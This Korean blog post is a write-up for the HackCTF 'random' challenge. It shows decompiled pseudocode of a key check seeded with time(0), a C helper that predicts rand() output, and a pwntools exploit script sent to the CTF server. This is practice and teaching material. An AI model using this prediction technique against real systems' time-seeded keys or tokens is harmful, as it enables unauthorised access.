풀이
Arch: amd64 - 64 - little
RELRO : Partial RELRO
Stack : No canary found
NX : NX enabled
PIE : No PIE(0x400000)
먼저 random을 실행해보자.
단순한 Key값 검증 프로그램인가?
IDA를 이용해 슈도코드를 확인해보자.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // eax
int v4; // [rsp+0h] [rbp-10h]
int v5; // [rsp+4h] [rbp-Ch]
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
v4 = 0;
v3 = time(0LL);
srand(v3);
v5 = rand();
puts("============================");
puts(asc_400948);
puts("============================");
printf("Input Key : ", 0LL, *(_QWORD *)&v4, v6);
__isoc99_scanf("%d", &v4);
if ( v5 == v4 )
{
puts("Correct!");
system("cat /home/random/flag");
exit(0);
}
puts("Nah...");
exit(0);
}
pwnable.kr에서는 seed값을 사용하지 않은, rand 함수의 취약점을 이용한 문제였다.
그러나 이번 문제에서는 time(0) 값이 seed값으로 설정되어있다.
우리가 입력한 값과, rand 함수로 출력된 값이 같아야 하는데.. 방법이 없을까?
이 문제는 바로 seed값을 time(0)으로 설정한게 문제다.
파이썬의 ctypes 모듈을 이용해, time(0)이 seed로 설정되어 있는 rand 함수를 호출할 수 있다면?
먼저, 랜덤 값을 받기 위한 C 파일 하나를 생성해준다.
여기서 srand(tm+1) 해준 이유는, CTF 서버에 들어가는 시간을 계산한 것이다.
//time.c
1 #include <stdio.h>
2 #include <time.h>
3
4 int whattime()
5 {
6 int tm = time(0);
7 srand(tm+1);
8 int random = rand();
9 return random;
10 }
다음 time.c를 컴파일 해준다.
gcc -o time.so -shared -fPIC time.c
파이썬을 이용한 페이로드는 다음과 같다.
1 from pwn import *
2 import ctypes
3
4 p = remote('ctf.j0n9hyun.xyz', 3014)
5
6 c_code = ctypes.cdll.LoadLibrary('./time.so')
7 c_func = c_code.whattime
8
9 p.sendlineafter(': ', str(c_func()))
10 p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Beginner_Heap 풀이 (250p) (0) | 2020.12.28 |
---|---|
[HackCTF] RTL_Core 풀이 (250p) (0) | 2020.08.24 |
[HackCTF] 1996 풀이 (200p) (0) | 2020.08.23 |
[HackCTF] poet 풀이 (200p) (0) | 2020.08.23 |
[HackCTF] g++ pwn 풀이 (200p) (0) | 2020.08.23 |